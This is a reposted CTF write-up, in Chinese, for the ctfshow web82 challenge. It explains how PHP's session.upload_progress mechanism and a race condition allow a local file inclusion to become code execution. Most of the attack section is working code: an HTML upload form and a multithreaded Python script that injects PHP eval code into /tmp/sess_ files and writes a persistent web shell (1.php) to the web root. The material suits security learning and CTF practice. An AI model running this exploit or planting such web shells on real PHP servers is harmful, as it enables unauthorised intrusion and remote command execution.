ctfshow web82:利用session.upload_progress进行文件包含


源码:

 

 过滤了点之后我们也不能使用文件包含来getshell了,因此我们只能利用无后缀的文件,因为在php中我们能够利用的无后缀的文件就是session,我们可以利用session.upload_progress来进行文件包含,利用PHP_SESSION_UPLOAD_PROGRESS参数

前瞻知识

该功能是在php5.4添加的,首先先了解下php.ini以下的几个默认选项

session.upload_progress.enable = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • enable = on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

  • cleanup = on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

  • name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

  • prefix+name将表示为session中的键名;

  • 另外还有一个session配置中的重要选项:session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。

 

过程分析

如果session.auto_start=on,则php会在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=rikka,PHP将会在服务器上创建一个文件/tmp/sess_rikka。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里;

简而言之,我们自定义的PHPSESSID的值会变成文件名,比如定义PHPSESSID:rikka,文件名即为/tmp/sess_rikka,而PHP_SESSION_UPLOAD_PROGRESS的值即为该文件的内容

<!DOCTYPE html>
<html>
<body>
<form action="http://05eb0a1f-896d-45f9-929d-bd97adeff940.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
   <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
   <input type="file" name="file" />
   <input type="submit" value="submit" />
</form>
</body>
</html>

 

上传成功后,就会在session['upload_progress_123']存储一些本次上传的相关信息

但是由于cleanup=on,会导致文件上传后,session文件的内容立即清空。此时我们得利用条件竞争,在session文件的内容被清空前进行文件包含

 

操作方法

我们可以使用bp同时不断的发post传文件的包和实现文件包含的包

参考链接:https://blog.csdn.net/weixin_45785288/article/details/110625807?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-4.pc_relevant_default&spm=1001.2101.3001.4242.3&utm_relevant_index=7

 

或者使用脚本

import requests
import threading
import io

url = "http://6051974d-15cd-40a9-b1b6-580db921a984.challenge.ctf.show/"
sessID = 'rikka'
data = {
    "1": "file_put_contents('/var/www/html/1.php', '<?php eval($_POST[2]);?>');"  # read()中需要post的内容
}


def write(session):
    fileBytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        res = session.post(url,
                           data={
                               'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
                               # 改参数的值就是/tmp/sess_rikka文件的内容
                           },
                           cookies={
                               "PHPSESSID": sessID
                           },
                           files={
                               'file': ('rikka.png', fileBytes)
                           }
                           )


def read(session):
    while True:
        res1 = session.post(url + '?file=/tmp/sess_' + sessID, data=data,
                            cookies={
                                "PHPSESSID": sessID
                            })
        res2 = session.get(url+'1.php')
        if res2.status_code == 200:
            print("+++done+++")
        else:
            print(res2.status_code)


if __name__ == '__main__':
    event = threading.Event()   # 开启多线程的对象
    with requests.session() as session:
        for i in range(5):               # 开5个线程
            threading.Thread(target=write, args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read, args=(session,)).start()

        event.set()       # 唤醒线程

 成功写入后访问1.php文件进行命令执行即可


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM